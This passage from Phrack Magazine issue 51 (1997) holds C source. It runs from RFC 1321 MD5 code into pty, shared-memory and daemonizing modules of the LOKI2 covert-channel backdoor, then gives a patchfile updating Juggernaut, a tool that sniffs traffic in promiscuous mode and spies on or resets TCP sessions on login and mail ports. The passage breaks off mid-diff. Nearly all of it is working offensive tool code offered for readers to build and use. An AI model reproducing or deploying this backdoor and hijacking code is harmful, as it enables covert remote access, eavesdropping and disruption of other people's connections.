static unsigned char PADDING[64] = {
  0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};

/* F, G, H and I are basic MD5 functions.
 */
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits.
 */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.
 */
#define FF(a, b, c, d, x, s, ac) { \
 (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }
#define GG(a, b, c, d, x, s, ac) { \
 (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }
#define HH(a, b, c, d, x, s, ac) { \
 (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }
#define II(a, b, c, d, x, s, ac) { \
 (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
 (a) = ROTATE_LEFT ((a), (s)); \
 (a) += (b); \
  }

/* MD5 initialization. Begins an MD5 operation, writing a new context.
 */
void MD5Init (context)
MD5_CTX *context;                                        /* context */
{
  context->count[0] = context->count[1] = 0;
  /* Load magic initialization constants.
*/
  context->state[0] = 0x67452301;
  context->state[1] = 0xefcdab89;
  context->state[2] = 0x98badcfe;
  context->state[3] = 0x10325476;
}

/* MD5 block update operation. Continues an MD5 message-digest
  operation, processing another message block, and updating the
  context.
 */
void MD5Update (context, input, inputLen)
MD5_CTX *context;                                        /* context */
unsigned char *input;                                /* input block */
unsigned int inputLen;                     /* length of input block */
{
  unsigned int i, index, partLen;

  /* Compute number of bytes mod 64 */
  index = (unsigned int)((context->count[0] >> 3) & 0x3F);

  /* Update number of bits */
  if ((context->count[0] += ((UINT4)inputLen << 3))


/*
Rivest                                                         [Page 11]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

   < ((UINT4)inputLen << 3))
 context->count[1]++;
  context->count[1] += ((UINT4)inputLen >> 29);

  partLen = 64 - index;

  /* Transform as many times as possible.
*/
  if (inputLen >= partLen) {
 MD5_memcpy
   ((POINTER)&context->buffer[index], (POINTER)input, partLen);
 MD5Transform (context->state, context->buffer);

 for (i = partLen; i + 63 < inputLen; i += 64)
   MD5Transform (context->state, &input[i]);

 index = 0;
  }
  else
 i = 0;

  /* Buffer remaining input */
  MD5_memcpy
 ((POINTER)&context->buffer[index], (POINTER)&input[i],
  inputLen-i);
}

/* MD5 finalization. Ends an MD5 message-digest operation, writing the
```

```
  the message digest and zeroizing the context.
 */
void MD5Final (digest, context)
unsigned char digest[16];                         /* message digest */
MD5_CTX *context;                                       /* context */
{
  unsigned char bits[8];
  unsigned int index, padLen;

  /* Save number of bits */
  Encode (bits, context->count, 8);

  /* Pad out to 56 mod 64.
*/
  index = (unsigned int)((context->count[0] >> 3) & 0x3f);
  padLen = (index < 56) ? (56 - index) : (120 - index);
  MD5Update (context, PADDING, padLen);

  /* Append length (before padding) */
  MD5Update (context, bits, 8);


/*
Rivest                                                      [Page 12]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

  /* Store state in digest */
  Encode (digest, context->state, 16);

  /* Zeroize sensitive information.
*/
  MD5_memset ((POINTER)context, 0, sizeof (*context));
}

/* MD5 basic transformation. Transforms state based on block.
 */
static void MD5Transform (state, block)
UINT4 state[4];
unsigned char block[64];
{
  UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];

  Decode (x, block, 64);

  /* Round 1 */
  FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
  FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
  FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
  FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
  FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
  FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
  FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
  FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
  FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
  FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
  FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
  FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
  FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
  FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
  FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
  FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */

 /* Round 2 */
  GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
  GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
  GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
  GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
  GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
  GG (d, a, b, c, x[10], S22,  0x2441453); /* 22 */
  GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
  GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
  GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
  GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
  GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */


/*
Rivest                                                         [Page 13]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

  GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
  GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
  GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
  GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
  GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */

  /* Round 3 */
  HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
  HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
  HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
  HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
  HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
  HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
  HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
  HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
  HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
  HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
  HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
  HH (b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */
  HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
  HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
  HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
  HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */

  /* Round 4 */
  II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
  II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
  II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
  II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
  II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
  II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
  II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
  II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
  II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
  II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
  II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
  II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
  II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
  II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
  II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
  II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */

  state[0] += a;
  state[1] += b;
  state[2] += c;
  state[3] += d;

  /* Zeroize sensitive information.


Rivest                                                         [Page 14]

RFC 1321              MD5 Message-Digest Algorithm            April 1992

*/
  MD5_memset ((POINTER)x, 0, sizeof (x));
```

```
}

/* Encodes input (UINT4) into output (unsigned char). Assumes len is
  a multiple of 4.
 */
static void Encode (output, input, len)
unsigned char *output;
UINT4 *input;
unsigned int len;
{
  unsigned int i, j;

  for (i = 0, j = 0; j < len; i++, j += 4) {
 output[j] = (unsigned char)(input[i] & 0xff);
 output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
 output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
 output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
  }
}

/* Decodes input (unsigned char) into output (UINT4). Assumes len is
  a multiple of 4.
 */
static void Decode (output, input, len)
UINT4 *output;
unsigned char *input;
unsigned int len;
{
  unsigned int i, j;

  for (i = 0, j = 0; j < len; i++, j += 4)
 output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
   (((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
}

/* Note: Replace "for loop" with standard memcpy if possible.
 */

static void MD5_memcpy (output, input, len)
POINTER output;
POINTER input;
unsigned int len;
{
  unsigned int i;

  for (i = 0; i < len; i++)


/*
Rivest                                                         [Page 15]

RFC 1321              MD5 Message-Digest Algorithm            April 1992
*/

 output[i] = input[i];
}

/* Note: Replace "for loop" with standard memset if possible.
 */
static void MD5_memset (output, value, len)
POINTER output;
int value;
unsigned int len;
{
  unsigned int i;

  for (i = 0; i < len; i++)
 ((char *)output)[i] = (char)value;
}
<--> md5/md5c.c
```

```
<++> L2/pty.c
/*
 * LOKI
 *
 * [ pty.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 *  All the PTY code ganked from Stevens.
 */

#ifdef  PTY
#include "loki.h"

extern int verbose;

/*
 *  Open a pty and establish it as the session leader with a
 *  controlling terminal
 */

pid_t pty_fork(int *fdmp, char *slavename, struct termios *slave_termios, struct winsize
*slave_winsize)
{

    int fdm, fds;
    pid_t pid;
    char pts_name[20];

    if ((fdm = ptym_open(pts_name)) < 0)
        err_exit(1, 0, verbose, "\nCannot open master pty\n");

    if (slavename) strcpy(slavename, pts_name);

    if ((pid = fork()) < 0) return (-1);

    else if (!pid)
    {
        if (setsid() < 0)
            err_exit(1, 1, verbose, "\nCannot set session");

        if ((fds = ptys_open(fdm, pts_name)) < 0)
            err_exit(1, 0, verbose, "\nCannot open slave pty\n");
        close(fdm);

#if defined(TIOCSCTTY) && !defined(CIBAUD)
        if (ioctl(fds, TIOCSCTTY,(char *)0) < 0)
            err_exit(1, 1, verbose, "\nioctl");
#endif
                                        /* set termios/winsize */
        if (slave_termios) if (tcsetattr(fds,TCSANOW, (struct termios *)slave_termios) <
0) err_exit(1, 1, verbose, "\nCannot set termio");
                                        /* slave becomes stdin/stdout/stderr */
        if (slave_winsize) if (ioctl(fds, TIOCSWINSZ, slave_winsize) < 0)
            err_exit(1, 1, verbose, "\nioctl");
        if (dup2(fds, STDIN_FILENO) != STDIN_FILENO)
            err_exit(1, 0, verbose, "\ndup\n");
        if (dup2(fds, STDOUT_FILENO) != STDIN_FILENO)
            err_exit(1, 0, verbose, "\ndup\n");
        if (dup2(fds, STDERR_FILENO) != STDIN_FILENO)
            err_exit(1, 0, verbose, "\ndup\n");
        if (fds > STDERR_FILENO) close(fds);

        return (0);                     /* return child */
    }

    else
    {
        *fdmp = fdm;                    /* Return fd of master */
        return (pid);                   /* parent returns PID of child */
    }
}


/*
 *  Determine which psuedo terminals are available and try to open one
 */

int ptym_open(char *pts_name)
{

    int fdm     = 0;                    /* List of ptys to run through */
    char *p1    = "pqrstuvwxyzPQRST", *p2 = "0123456789abcdef";

    strcpy(pts_name, "/dev/pty00");     /* pty device name template */

    for (; *p1; p1++)
    {
        pts_name[8] = *p1;
        for (; *p2; p2++)
        {
            pts_name[9] = *p2;
            if ((fdm = open(pts_name, O_RDWR)) < 0)
            {
                                        /* device doesn't exist */
                if (errno == ENOENT) return (-1);
                else continue;
            }
            pts_name[5] = 't';          /* pty -> tty */
            return (fdm);               /* master file descriptor */
        }
    }
    return (-1);                        /* control falls here if no pty
                                         * devices are available
                                         */
}


/*
 *  Open the slave device and set ownership and permissions
 */

int ptys_open(int fdm, char *pts_name)
{

    struct group *gp;
    int gid = 0, fds = 0;

    if ((gp = getgrnam("tty"))) gid = (gp -> gr_gid);
    else gid = -1;                              /* Group tty is not in the group file */

    chown(pts_name, getuid(), gid);             /* make it ours */
                                                /* set permissions -rw--w---- */
    chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);

    if ((fds = open(pts_name, O_RDWR)) < 0)
    {
        close(fdm);                            /* Cannot open fds */
        return (-1);
    }
    return (fds);
}

#endif

/* EOF */
<--> pty.c
<++> L2/shm.c
/*
 * LOKI2
 *
 * [ shm.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"
#include "client_db.h"
#include "shm.h"

extern struct loki rdg;
extern int verbose;
extern int destroy_shm;
struct client_list *client = 0;
int semid;

#ifdef STRONG_CRYPTO
extern short ivec_salt;
extern u_char user_key[BF_KEYSIZE];
#endif

/*
 *  Prepare shared memory and semaphore
 */

void prep_shm()
{

    key_t shmkey    = SHM_KEY + getpid();  /* shared memory key ID */
    key_t semkey    = SEM_KEY + getpid();  /* semaphore key ID     */
    int shmid, len  = 0, i = 0;

    len             = sizeof(struct client_list) * MAX_CLIENT;

                                        /* Request a shared memory segment */
    if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0)
        err_exit(1, 1, verbose, "[fatal] shared mem segment request error");

                                        /* Get SET_SIZE semaphore to perform
                                         * shared memory locking with
                                         */
    if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0)
        err_exit(1, 1, verbose, "[fatal] semaphore allocation error ");

                                        /* Attach pointer to the shared memory
                                         * segment
                                         */
    client = (struct client_list *) shmat(shmid, NULL, (int)NULL);
                                        /* clear the database */
    for (; i < MAX_CLIENT; i++) bzero(&client[i], sizeof(client[i]));
}


/*
 *  Locks the semaphore so the caller can access the shared memory segment.
 *  This is an atomic operation.
 */

void locks()
{

    struct sembuf lock[2] =
    {
        {0, 0, 0},
        {0, 1, SEM_UNDO}
    };

    if (semop(semid, &lock[0], 2) < 0)
        err_exit(1, 1, verbose, "[fatal] could not lock memory");
}
```

```
/*
 *  Unlocks the semaphore so the caller can access the shared memory segment.
 *  This is an atomic operation.
 */

void ulocks()
{

    struct sembuf ulock[1] =
    {
        { 0, -1, (IPC_NOWAIT | SEM_UNDO) }
    };

    if (semop(semid, &ulock[0], 1) < 0)
        err_exit(1, 1, verbose, "[fatal] could not unlock memory");
}


/*
 *  Release the shared memory segment.
 */

void dump_shm()
{

    locks();
    if ((shmdt((u_char *)client)) == -1)
        err_exit(1, 1, verbose, "[fatal] shared mem segment detach error");

    if (destroy_shm == OK)
    {
        if ((shmctl(semid, IPC_RMID, NULL)) == -1)
            err_exit(1, 1, verbose, "[fatal] cannot destroy shmid");

        if ((semctl(semid, IPC_RMID, (int)NULL, NULL)) == -1)
            err_exit(1, 1, verbose, "[fatal] cannot destroy semaphore");
    }
    ulocks();
}

/* EOF */
<--> shm.c
<++> L2/shm.h
/*
 * LOKI
 *
 * shm header file
 *
 *  1996/7 Guild Corporation Productions    [daemon9]
 */


#define SHM_KEY     242                 /* Shared memory key            */
#define SEM_KEY     424                 /* Semaphore key                */
#define SHM_PRM     S_IRUSR|S_IWUSR     /* Shared Memory Permissions    */
#define SET_SIZE    1

void prep_shm();                        /* prepare shared mem segment   */
void locks();                           /* lock shared memory           */
void ulocks();                          /* unlock shared memory         */
void dump_shm();                        /* release shared memory        */
<--> shm.h
<++> L2/surplus.c
/*
 * LOKI2
 *
 * [ surplus.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */


#include "loki.h"

extern int verbose;
extern jmp_buf env;

#define WORKING_ROOT "/tmp"             /* Sometimes we make mistakes.
                                         * Sometimes we execute commands we
                                         * didn’t mean to.  ‘rm -rf‘ is much
                                         * easier to palate from /tmp
                                         */
/*
 *  Domain names / dotted-decimals --> network byte order.
 */

u_long name_resolve(char *hostname)
{

    struct in_addr addr;
    struct hostent *hostEnt;
                                        /* name lookup failure */
    if ((addr.s_addr = inet_addr(hostname)) == -1)
    {
        if (!(hostEnt = gethostbyname(hostname)))
            err_exit(1, 1, verbose, "\n[fatal] name lookup failed");
        bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length);
    }
    return (addr.s_addr);
}


/*
 *  Network byte order --> dotted-decimals.
 */

char *host_lookup(u_long in)
{

    char hostname[BUFSIZ] = {0};
    struct in_addr addr;

    addr.s_addr = in;
    strcpy(hostname, inet_ntoa(addr));
    return (strdup(hostname));
}

#ifdef X86FAST_CHECK

/*
 *  Fast x86 based assembly implementation of the IP checksum routine.
 */


u_short i_check(u_short *buff, int len)
{

    u_long sum = 0;
    if (len > 3)
    {
        __asm__("clc\n"
        "1:\t"
        "lodsl\n\t"
        "adcl %%eax, %%ebx\n\t"
        "loop 1b\n\t"
        "adcl $0, %%ebx\n\t"
        "movl %%ebx, %%eax\n\t"
        "shrl $16, %%eax\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum) , "=S" (buff)
        : "0" (sum), "c" (len >> 2) ,"1" (buff)
        : "ax", "cx", "si", "bx");
    }
    if (len & 2)
    {
        __asm__("lodsw\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum) , "=S" (buff)
        : "0" (sum), "c" (len >> 2) ,"1" (buff)
        : "ax", "cx", "si", "bx");
    }
    if (len & 2)
    {
        __asm__("lodsw\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }
    if (len & 1)
    {
        __asm__("lodsb\n\t"
        "movb $0, %%ah\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }
    if (len & 1)
    {
        __asm__("lodsb\n\t"
        "movb $0, %%ah\n\t"
        "addw %%ax, %%bx\n\t"
        "adcw $0, %%bx"
        : "=b" (sum), "=S" (buff)
        : "0" (sum), "1" (buff)
        : "bx", "ax", "si");
    }
    sum  = ~sum;
    return (sum & 0xffff);
}

#else

/*
 *  Standard IP Family checksum routine.
 */

u_short i_check(u_short *ptr, int nbytes)
{

    register long sum       = 0;
    u_short oddbyte         = 0;
    register u_short answer = 0;

    while (nbytes > 1)
    {
        sum += *ptr++;
        nbytes -= 2;
    }
    if (nbytes == 1)
    {
        oddbyte = 0;
        *((u_char *)&oddbyte) =* (u_char *)ptr;
        sum += oddbyte;
    }
    sum     = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
    sum     += (sum >> 16);
    answer  = ~sum;
    return (answer);
}

#endif  /* X86FAST_CHECK */


/*
 *  Generic exit with error function.  If checkerrno is true, errno should
 *  be looked at and we call perror, otherwise, just dump to stderr.
 *  Additionally, we have the option of suppressing the error messages by
 *  zeroing verbose.
 */

void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr)
{
    if (verbalkint)
    {
        if (checkerrno) perror(errstr);
        else fprintf(stderr, errstr);
    }
    clean_exit(exitstatus);
}


/*
 *  SIGALRM signal handler.  We reset the alarm timer and default signal
 *  signal handler, then restore our stack frame from the point that
 *  setjmp() was called.
 */

void catch_timeout(int signo)
{

    alarm(0);                           /* reset alarm timer */

                                        /* reset SIGALRM, our handler will
                                         * be again set after we longjmp()
                                         */
    if (signal(SIGALRM, catch_timeout) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGALRM);
                                        /* restore environment */
    longjmp(env, 1);
}


/*
 *  Clean exit handler
 */

void clean_exit(int status)
{

    extern int tsock;
    extern int ripsock;

    close(ripsock);
    close(tsock);
    exit(status);
}

/*
 *  Keep child proccesses from zombiing on us
 */

void reaper(int signo)
```

```
{
    int sys = 0;

    wait(&sys);                     /* get child's exit status */

                                    /* re-establish signal handler */
    if (signal(SIGCHLD, reaper) == SIG_ERR)
        err_exit(1, 1, verbose, L_MSG_SIGCHLD);
}

/*
 *  Simple daemonizing procedure.
 */

void shadow()
{
    extern int errno;
    int fd = 0;

    close(STDIN_FILENO);            /* We no longer need STDIN */
    if (!verbose)
    {                               /* Get rid of these also */
        close(STDOUT_FILENO);
        close(STDERR_FILENO);
    }
                                    /* Ignore read/write signals from/to
                                     * the controlling terminal.
                                     */
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTSTP, SIG_IGN);       /* Ignore suspend signal. */

    switch (fork())
    {
        case 0:                     /* child continues */
            break;

        default:                    /* parent exits */
            clean_exit(0);

        case -1:                    /* fork error */
            err_exit(1, 1, verbose, "[fatal] Cannot go daemon");
    }
                                    /* Create a new session and set this
                                     * process to be the group leader.
                                     */
    if (setsid() == -1)
        err_exit(1, 1, verbose, "[fatal] Cannot create session");
                                    /* Detach from controlling terminal */
    if ((fd = open("/dev/tty", O_RDWR)) >= 0)
    {
        if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1)
                err_exit(1, 1, verbose, "[fatal] cannot detach from controlling terminal"
);
        close(fd);
    }
    errno = 0;
    chdir(WORKING_ROOT);            /* Working dir should be the root */
    umask(0);                       /* File creation mask should be 0 */
}

#ifdef  DEBUG

/*
 *  Bulk of this function taken from Stevens APUE...
 *  got this from Mooks (LTC)
 */

void fd_status(int fd, int newline)
{
    int accmode = 0, val = 0;

    val = fcntl(fd, F_GETFL, 0);

#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT)
    accmode = val & O_ACCMODE;
#else                              /* pyramid */
    accmode = val;                 /* kludge */
#endif                             /* pyramid */
     if (accmode == O_RDONLY)        fprintf(stderr, " read only");
     else if (accmode == O_WRONLY)  fprintf(stderr, " write only");
     else if (accmode == O_RDWR)    fprintf(stderr, " read write");
     if (val & O_APPEND)            fprintf(stderr, " append");
     if (val & O_NONBLOCK)          fprintf(stderr, " nonblocking");
     else                           fprintf(stderr, " blocking");
#if defined(O_SYNC)
     if (val & O_SYNC)              fprintf(stderr, " sync writes");
#else
#if defined(O_FSYNC)
     if (val & O_FSYNC)             fprintf(stderr, " sync writes");
#endif                             /* O_FSYNC */
#endif                             /* O_SYNC */
     if (newline)                   fprintf(stderr, "\r\n");
}
#endif  /* DEBUG */

/* EOF */
<--> surplus.c

----[  EOF
```

---[Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 07 of 17

-------------------------[Juggernaut 1.2 update

--------[route <route@infonexus.com>

Well, Juggernaut went out, and the bug reports came in... Juggernaut, the robust network tool for Linux, originally went out in Phrack 50. This patchfile updates Juggernaut 1.0 (the version in P50-06) to version 1.2. It offers the following:

- Nonfunctional things like nomenclature and cosmetics.
- The IFF_PROMISC flag is unset upon exit. Previously the program would leave the network interface in promiscuous mode.
- We no longer are interested in HTTP connections (unless -DGREED is defined).
- Connection Spying now works properly.
- Connection RSTing and Automated connection RSTing now work better.

Please keep the bug reports coming in!

To extract this patchfile, use the included extraction utility to remove the patchfile from the article. Then simply copy it into the Juggernaut directory and 'patch < juggernaut_1.0-1.2_patch'

```
<++> juggernaut_1.0-1.2_patch

--- NumberOneCrush/main.c       Thu May  8 15:37:02 1997
+++ NumberOneCrush/main.c       Fri Jun  6 01:33:42 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                 Juggernaut
- *                                 Version b2
+ *                                 Version 1.2
  *
  *                            1996/7 Guild productions
  *                          daemon9[guild|phrack|r00t]
@@ -42,7 +42,7 @@
 #define DEVICE "eth0"
 #define LOGFILE "./juggernaut.log.spy"
 
-char version[]="1.0\0";
+char version[]="1.2";
 int sigsentry=1;                   /* Signal sentry */
 int ripsock=0;                     /* RIP socket */
 int linksock=0;                            /* SOCK PACKET socket */
@@ -96,8 +96,8 @@
     char buf[MINIBUF]={0};
     char token[2*MINIBUF]={0};
     int c;
-
-    if(geteuid()||getuid()){               /* r00t? */
+
+    if(geteuid()||getuid()){                /* r00t? */
         fprintf(stderr,"UID or EUID of 0 needed...\n");
         exit(0);
         }
@@ -279,7 +279,7 @@
        fgets(buf,sizeof(buf),stdin);
        if(buf[0]==0x0a||buf[0]=='q')return;
        if(!(int)(val=atoi(buf)))continue;
-       if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
+       if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
        else break;
     }
     fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
@@ -324,7 +324,7 @@
        fgets(buf,sizeof(buf),stdin);
        if(buf[0]==0x0a||buf[0]=='q')return;
        if(!(int)(val=atoi(buf)))continue;
-       if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
+       if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
        else break;
     }
     signal(SIGINT,convulsion);
@@ -440,7 +440,7 @@

     fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);

-    fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
+    fprintf(stderr,"\nBuilt on %s %s with the following options:\n",__DATE__,__TIME__);
 #ifdef MULTI_P
     fprintf(stderr," Multi-processing\n");
 #endif
@@ -501,7 +501,7 @@
        fgets(buf,sizeof(buf),stdin);
        if(buf[0]==0x0a||buf[0]=='q')return;
        if(!(int)(val=atoi(buf)))continue;
-       if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
+       if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
        else break;
     }
     if(ntohs(target->dport)!=23){
@@ -547,7 +547,7 @@
        fgets(buf,sizeof(buf),stdin);
        if(buf[0]==0x0a||buf[0]=='q')return;
         if(!(int)(val=atoi(buf)))continue;
-        if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
+        if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
        else break;
     }
     if(ntohs(target->dport)!=23){
--- NumberOneCrush/mem.c        Thu May  8 15:37:02 1997
+++ NumberOneCrush/mem.c        Fri Jun  6 01:33:09 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                 Juggernaut
- *                                 Version b1
+ *                                 Version 1.2
  *
  *                           1996/7 Guild productions
  *                          daemon9[guild|phrack|r00t]
--- NumberOneCrush/menu.c       Thu May  8 15:37:02 1997
+++ NumberOneCrush/menu.c       Fri Jun  6 01:33:32 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                 Juggernaut
- *                                 Version b2
+ *                                 Version 1.2
  *
  *                           1996/7 Guild productions
  *                          daemon9[guild|phrack|r00t]
--- NumberOneCrush/net.c        Thu May  8 15:37:02 1997
+++ NumberOneCrush/net.c        Fri Jun  6 01:32:56 1997
@@ -1,7 +1,7 @@
 /*
  *
  *                                 Juggernaut
- *                                 Version b1
+ *                                 Version 1.2
  *
  *                           1996/7 Guild productions
  *                            daemon9[guild|phrack|r00t]
@@ -92,13 +92,14 @@
  *  mode.
  */

-int tap(device)
+int tap(device,mode)
 char *device;
+int mode;
 {

     int fd;
     struct ifreq ifr;   /* Link-layer interface request structure */
-                        /* Ethernet code for IP 0x800==ETH_P_IP */
+                        /* Ethernet code for IP 0x0800==ETH_P_IP */
     if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){
         if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
         exit(1);
@@ -109,16 +110,22 @@
         close(fd);
        exit(1);
     }
-    ifr.ifr_flags|=IFF_PROMISC;                    /* Set promiscuous mode */
+    if(!mode)ifr.ifr_flags^=IFF_PROMISC;    /* Unset promiscuous mode */
+    else ifr.ifr_flags|=IFF_PROMISC;        /* Set promiscuous mode */
     if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
-        if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
+        if(verbosity)perror("(tap) Can't set/unset promiscuous mode [fatal]");
         close(fd);
        exit(1);
     }
-    return(fd);
+    if(!mode){
+        close(fd);
+        return(0);
+    }
+    else return(fd);
 }



+
 /*
  *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
  *  kernels.  Not sure about 1.2.x
@@ -197,7 +204,6 @@
         case 22:
         case 23:
         case 25:
-        case 80:
         case 513:
         case 6667:
             if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
@@ -235,7 +241,6 @@
         case 22:
         case 23:
